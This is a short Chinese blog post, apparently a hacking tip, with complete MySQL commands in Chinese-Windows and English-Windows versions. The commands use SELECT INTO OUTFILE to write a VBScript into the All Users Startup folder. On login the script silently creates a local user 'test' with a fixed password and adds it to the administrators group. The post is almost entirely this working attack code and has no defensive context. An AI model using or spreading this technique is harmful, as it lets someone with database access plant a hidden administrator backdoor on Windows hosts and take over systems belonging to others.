时间: 2020-09-24|tag:33次围观|0 条评论

中文版本操作系统中针对
添加用户完整代码: use test;

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"") " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );

select * from a into outfile "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\a.vbs";

drop table a; 英文版本: use test;

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"") " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );

select * from a into outfile "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\a.vbs";

drop table a;

本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《MySQL中怎么英文添加用户到启动里面
   

还没有人抢沙发呢~